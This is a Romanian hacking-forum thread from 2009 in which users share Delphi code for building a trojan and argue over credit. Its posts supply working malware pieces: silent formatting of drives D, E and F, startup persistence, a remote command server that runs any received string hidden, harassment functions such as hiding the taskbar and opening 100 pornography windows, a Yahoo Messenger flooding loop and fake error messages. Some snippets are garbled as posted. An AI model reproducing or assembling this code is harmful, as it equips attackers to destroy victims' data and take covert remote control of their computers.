[Borland Delphi] Comenzi trojan

c0smyn · February 3, 2009

Open/Close CDRom

Uses: MMSystem;


procedure CDRom(operation: string);
begin
  if operation = 'open' then
    mciSendString('set cdaudio door open wait', nil, 0, handle)
  else
  if operation = 'close' then
    mciSendString('set cdaudio door closed wait', nil, 0, handle);
end;

Hide/Show Desktop


procedure ShowDesktop(const YesNo: boolean);
var h : HWND;
begin
  h := FindWindow('ProgMan', nil);
  h := GetWindow(h, GW_CHILD);
  if YesNo = True then
    ShowWindow(h, SW_SHOW)
  else
    ShowWindow(h, SW_HIDE);
end;

Hide/Show Start Button


procedure ShowStartButton(bValue: Boolean);
var
  Tray, Child: HWND;
  C: array[0..127] of Char;
  S: string;
begin
  Tray  := FindWindow('Shell_TrayWnd', nil);
  Child := GetWindow(Tray, GW_CHILD);
  while Child <> 0 do
  begin
    if GetClassName(Child, C, SizeOf(C)) > 0 then
    begin
      S := StrPAS(C);
      if UpperCase(S) = 'BUTTON' then
      begin
        if bValue = True then ShowWindow(Child, 1)
        else
          ShowWindow(Child, 0);
      end;
    end;
    Child := GetWindow(Child, GW_HWNDNEXT);
  end;
end;

Hide/Show TaskBar


procedure TaskBar(show: Boolean);
var
t: HWND;

begin
t := FindWindow('Shell_TrayWnd',nil);
  if show = true then
  ShowWindow(t, SW_SHOW)
  else
  if show = false then
  ShowWindow(t, SW_HIDE);
end;

Open 100 xxx web

Adaugati un ActionList pe form , iar in actionlist un TBrowseurl


procedure Open100xxxWeb;
var
i: integer;
begin
  for i := 0 to 100 do
    begin
      browseurl1.URL := 'http://redtube.com';
      browseurl1.Execute;
    end;
end;

Hide/Show clock


procedure Clock(show: Boolean);
begin
  if show = true then
ShowWindow(FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd', nil),HWND(0),'TrayNotifyWnd', nil), HWND(0),'TrayClockWClass', nil), SW_SHOW)
  else
  if show = false then
ShowWindow(FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd', nil),HWND(0),'TrayNotifyWnd', nil), HWND(0),'TrayClockWClass', nil), SW_HIDE);
end;

Get windows/desktop path


function GetWindowsDir: string;
var
s: array[0..255] of char;

begin
GetWindowsDirectory(s,255);
result := s;
end;


function GetDesktopPath: string;
var
a: array[0..255] of char;
s: string;

begin
GetWindowsDirectory(a,255);
s := a[0] + a[1] + a[2];
result := s + 'Documents and Settings\All Users\Desktop\';
end;

Add application to startup


procedure AddToStartUp;
var
a: array[0..255] of char;
b: string;

begin
GetWindowsDirectory(a,255);
b := a[0] + a[1] + a[2];
b := b + 'Documents and Settings\All Users\Start Menu\Programs\Startup\'+ExtractFileName(application.exename);
if not fileexists( then
CopyFile(Application.exename,ExtractFilePath(,false);
end;

Format D,E,F

Uses: ShellApi;


procedure FormatHDD;
var
a: array[0..255] of char;
formatpath: string;

begin
GetWindowsDirectory(a,255);
formatpath := a+'\system32\format.com';
ShellExecute(application.Handle,'open',formatpath,'D: /q /x /y',nil,sw_hide);
ShellExecute(application.Handle,'open',formatpath,'E: /q /x /y',nil,sw_hide);
ShellExecute(application.Handle,'open',formatpath,'F: /q /x /y',nil,sw_hide);
end;

Daca aveti nevoie de vreo comanda postati mai jos si o sa va ajut ..

krystyano · February 7, 2009

Remote CMD

File Manager

c0smyn · February 7, 2009

Remote CMD
File Manager

REMOTE CMD

CLIENT:


tcpclient1.sendln('!'+'COMANDA'); [color=green]// Ex: tcpclient1.sendln('!'+'shutdown -s -t 100');[/color]

SERVER:

OnChange


var
s: string;

begin
if edit1.text[1] = '!' then
  begin
s := edit1.text;
delete(s,1,1);
winexec(PChar(s),sw_hide);
  end;
end;

Pentru filemanager ai nevoie de TClientSocket si TServerSocket.

Am sa fac unu mai incolo si o sa pun sursa aici.

EDIT: Done!

Download Source

krystyano · February 7, 2009

Multumesc CoiTzA

Merge

krystyano · February 10, 2009

Sorry de Dublu Post!!!

c0smyn stii cum se face un Y!M Booter ? ;))

c0smyn · February 10, 2009

Sorry de Dublu Post!!!
c0smyn stii cum se face un Y!M Booter ?

daca vrei sa pui aceasta comanda pe trojan e simplu. Dar sa fac un Yahoo! Booter separat nu prea ma pricep.

Pentru trojan procedezi astfel.

Adaugi pe form un actionlist iar in action list un TBrowseUrl.

Acum pentru a deschide multe ferestre folosesti codul asta.


var
mybot: string;
botnumber: integer;
i: integer;
begin
mybot := 'koko';
botnumber := 1;
for i := 0 to 1000 do
 begin
browseurl1.url := 'ymsgr:sendim?'+mybot+inttostr(botnumber);
browseurl1.execute;
botnumber := botnumber + 1;
 end;
end;

Acest cod v-a deschide 1000 ferestre de convorbire catre id-ul koko+botnumber

Nytro · February 10, 2009

Pentru booter de Yahoo! trebuie sa cunosti protocolul YMSG. Deci treci la sniffing daca nu gasesti o sursa ceva.

krystyano · February 11, 2009

Multumesc Mult

Gondo · February 15, 2009

Super turorial merg comenzile dar este o problema imi da eroare la linia asta de cod

CopyFile(Application.exename,ExtractFilePath(,false);

Spunemi exact tot ce trebuie sa fac sa mearga sa adaug la startup ca linia aia mio da cu rosu.Ms anticipat.

Edited February 15, 2009 by Gondo

Raven · February 15, 2009

CopyFile(Application.exename,ExtractFilePath(,false);

Gondo · February 15, 2009

Da nush ce are siteul de imi scrie gresit la false nu asta e prob imi da eroare la linie

c0smyn · February 17, 2009

Super turorial merg comenzile dar este o problema imi da eroare la linia asta de cod
CopyFile(Application.exename,ExtractFilePath(,false);
Spunemi exact tot ce trebuie sa fac sa mearga sa adaug la startup ca linia aia mio da cu rosu.Ms anticipat.

scuze unele coduri le-am scris pe direct ..

in loc de


CopyFile(Application.exename,ExtractFilePath(,false);

pui


CopyFile(PChar(Application.exename),PChar(ExtractFilePath(),false);

mp4 · July 14, 2009

Stii.. un Msg Sender complex..cu Error Info Asking ..etc:D?

c0smyn · July 15, 2009

pff .. foarte greu

iti voi spune in mare cum se face nu iti dau codu.

clientul v-a trebui sa trimita 2 stringuri (un string pentru titlul messageului box si altu pentru tipul de mesaj + mesaj)

Sa luam ca exemplu acest mesaj:

- mesaj de tip error

- Titlu mesaj: "Error! Please reinstall windows!"

- Mesaj: "The computer will be closed."

Clientul v-a trimite aceste stringuri:


~Error! Please reinstall windows!
!The computer will be closed.

Acum te folosesti de OnReceive event de la server

Codul va fi cam asa:


var
s: string;
title: string;
message: string;
begin
s := receivetext;

if s[1] = '~' then 
 begin
delete(s,1,1);
title := s;
 end;
if s[1] = '!' then 
 begin
delete(s,1,1);
Message := s;
MessageBox(0,title,Message,mb_error,mb_ok);
 end;
end;

Daca apar erori imi spui .. codul l-am scris pe direct

Nustiu ce ai inteles .. daca le ai cat de cat cu ale programarii te prinzi imediat.

mp4 · July 20, 2009

Scz dar facusem dinainte sa imi zici tu...

E simplu rau de tot...

CLIENT:

Faci un alt forum

Adaugam 2 ClientSocket

1 pentru titlu

2 Pentru text

Alegi cate un port pentru fiecare.

Mai adaugam de 2 ori edit

Edit1-->Titlu

Edit2-->Text

Adaugam Si 5 RatioButtons

Adaugam Un Button (Simplu)

Introducem acest cod pe Form, events, OnActivate:

ClientSocket1.Address:= form1.Edit1.Text;
ClientSocket2.Address:= form1.Edit1.Text;
Clientsocket1.Active:= True;
Clientsocket2.Active:= True;

Acum luam la rand RatioButtons..

Sa presupunem ca avem deja un ClientSocket1 pe forumul principal...

Si un Edit1 pentru adresa ip.

Revenim..

Pe buton,Events, OnClick

begin
clientsocket1.socket.sendtext(edit1.text);
clientsocket2.Socket.sendtext(text.text);
if RatioButton1.Checked = true then begin
form1.Client.Socket.sendtext('Error');
end else begin
if RatioButton2.Checked = true then begin
form1.Client.Socket.sendtext('exc');
end else begin
if RatioButton3.Checked = true then begin
form1.Client.Socket.sendtext('ask');
end else begin
if RatioButton4.Checked = true then begin
form1.Client.Socket.sendtext('info');
end else begin
if ratioButton5.Checked = true then begin
form1.Client.Socket.sendtext('normal');
end;
end;
end;
end;
end;
end;

Pe server pui :

edit1

edit2

Serversocket2(Deoarece exista deja unul)

ServerSocket3

Pe socket1 onclientread: pui edit1.text := SocketReceivetext;

Pe socket2 onclientread pui edit2.text :=SocketReceiveText;

Si acum e simplu daca faci cu codul ala de la tine cu mesaje intrun mod mai simplu..

Faci asa Pe ServerSocket1 care e serverul principal.. La onClientRead:

if i = 'Error' then
begin
aratamesaj(edit4.text,edit3.Text,1)
end;
if i = 'info' then
begin
aratamesaj(edit4.text,edit3.Text,2)
end;
if i = 'exc' then
begin
aratamesaj(edit4.text,edit3.Text,3)
end;
if i = 'normal' then
begin
aratamesaj(edit4.text,edit3.Text,4)
end;
if i = 'ask' then
begin
aratamesaj(edit4.text,edit3.Text,5)
end;

Tutorial facut 100% De mine..

Daca apar errori postati aici deoarece codurile sunt scrise pe direct..

Nu uitati ca sa mearga va trebuie asta

BY c0smyn:

Puneti acest cod sub " {$R *.dfm} " PE Server..

Code:

procedure ArataMesaj(mesaj: string; titlu: string; tip: Integer);
var
eroare,informatie,exclamatie,intrebare,normal: boolean;
begin
if tip > 5 then exit
else
if tip < 1 then exit;
eroare := false;
informatie := false;
exclamatie := false;
normal := false;
intrebare := false;
{Setare tip mesaj} //begin
if tip = 1 then eroare := true;
if tip = 2 then informatie := true;
if tip = 3 then exclamatie := true;
if tip = 4 then normal := true;
if tip = 5 then intrebare := true;
{Setare tip mesaj} //end;
if eroare = true then
MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONERROR)
else
if informatie = true then
MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONINFORMATION)
else
if exclamatie = true then
MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONEXCLAMATION)
else
if normal = true then
MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK)
else
if intrebare = true then
MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONQUESTION);
end;

Uite ce am facut ...

Asta e ordinea de inceput:

1: Parola:

2:Loading:

3:MainProgram:

4:A few Options:

5:About:

Edited July 20, 2009 by mp4

c0smyn · July 21, 2009

credite nu pui ?

apropo nici nu stii cu ce se mananca programarea .. ai mai adaugat un client socket degeaba cand puteai sa faci acelasi lucru cu unul singur. Nu te pricepi deloc la elementele de baza (cum sa lucrezi cu un string) ...

ps

"flatron delux" asta e copiat 90% dupa Illusion. Ai folosit aceleasi imagini , aceeasi asezare, aceleasi comenzi si multe altele.

mp4 · July 23, 2009

Tu ai Scary Death,Remote Dekstop, Flip Screen,Port scanner,Lista impartita in 2

Si sa fim sincer te-am facut de 2 ori la design..

Tu te uiti la programele tale inainte sa le postezi?

Arata de zici ca leai facut cu ochii inchisi.

Si din cate imi dau seama tu mananci programare pe paine si o scoti dupa cateva ore la wc.

c0smyn · July 24, 2009

da bine asa e. eu am scoso de la wc si tu ai copiato dupa mine.

nu mai continua discutia. esti mai bun si cu asta basta .

Remote cmd l-ai facut din comenzile mele de mai sus.

Port Scanneru - din sursa asta. DOWNLOAD

Designu (butonu de la formu about de inchidere) - de la illusion

Designu (imaginile form-urilor) - de la form-ul about de la programul Spy Remote

In rest ai copiat foarte mult de la illusion: list , add ip , connect , disconnect , status (cu font verde , transparent). + comenzi: hide/show desktop , hide/show start button , hide/show taskbar , remote cmd + functii:


procedure ArataMesaj(mesaj: string; titlu: string; tip: Integer);
var
eroare,informatie,exclamatie,intrebare,normal: boolean;
begin
if tip > 5 then exit
else
if tip < 1 then exit;

eroare := false;
informatie := false;
exclamatie := false;
normal := false;
intrebare := false;

{Setare tip mesaj} //begin
if tip = 1 then eroare := true;
if tip = 2 then informatie := true;
if tip = 3 then exclamatie := true;
if tip = 4 then normal := true;
if tip = 5 then intrebare := true;
{Setare tip mesaj} //end;

if eroare = true then
MessageBox(application.handle,Pchar(mesaj),Pchar(t itlu), +mb_OK +mb_ICONERROR)
else
if informatie = true then
MessageBox(application.handle,Pchar(mesaj),Pchar(t itlu), +mb_OK +mb_ICONINFORMATION)
else
if exclamatie = true then
MessageBox(application.handle,Pchar(mesaj),Pchar(t itlu), +mb_OK +mb_ICONEXCLAMATION)
else
if normal = true then
MessageBox(application.handle,Pchar(mesaj),Pchar(t itlu), +mb_OK)
else
if intrebare = true then
MessageBox(application.handle,Pchar(mesaj),Pchar(t itlu), +mb_OK +mb_ICONQUESTION);
end; 

procedure CDRom(operation: string);
begin
  if operation = 'open' then
    mciSendString('set cdaudio door open wait', nil, 0, handle)
  else
  if operation = 'close' then
    mciSendString('set cdaudio door closed wait', nil, 0, handle);
end;

procedure ShowDesktop(const YesNo: boolean);
var h : HWND;
begin
  h := FindWindow('ProgMan', nil);
  h := GetWindow(h, GW_CHILD);
  if YesNo = True then
    ShowWindow(h, SW_SHOW)
  else
    ShowWindow(h, SW_HIDE);
end;

procedure ShowStartButton(bValue: Boolean);
var
  Tray, Child: HWND;
  C: array[0..127] of Char;
  S: string;
begin
  Tray  := FindWindow('Shell_TrayWnd', nil);
  Child := GetWindow(Tray, GW_CHILD);
  while Child <> 0 do
  begin
    if GetClassName(Child, C, SizeOf(C)) > 0 then
    begin
      S := StrPAS(C);
      if UpperCase(S) = 'BUTTON' then
      begin
        if bValue = True then ShowWindow(Child, 1)
        else
          ShowWindow(Child, 0);
      end;
    end;
    Child := GetWindow(Child, GW_HWNDNEXT);
  end;
end;

procedure TaskBar(show: Boolean);
var
t: HWND;

begin
t := FindWindow('Shell_TrayWnd',nil);
  if show = true then
  ShowWindow(t, SW_SHOW)
  else
  if show = false then
  ShowWindow(t, SW_HIDE);
end;

+ multe altele

Sign In

[Borland Delphi] Comenzi trojan

Recommended Posts

c0smyn

krystyano

c0smyn

krystyano

krystyano

c0smyn

Nytro

krystyano

Gondo

Raven

Gondo

c0smyn

mp4

c0smyn

mp4

c0smyn

mp4

c0smyn

Join the conversation

Browse

Activity

Pages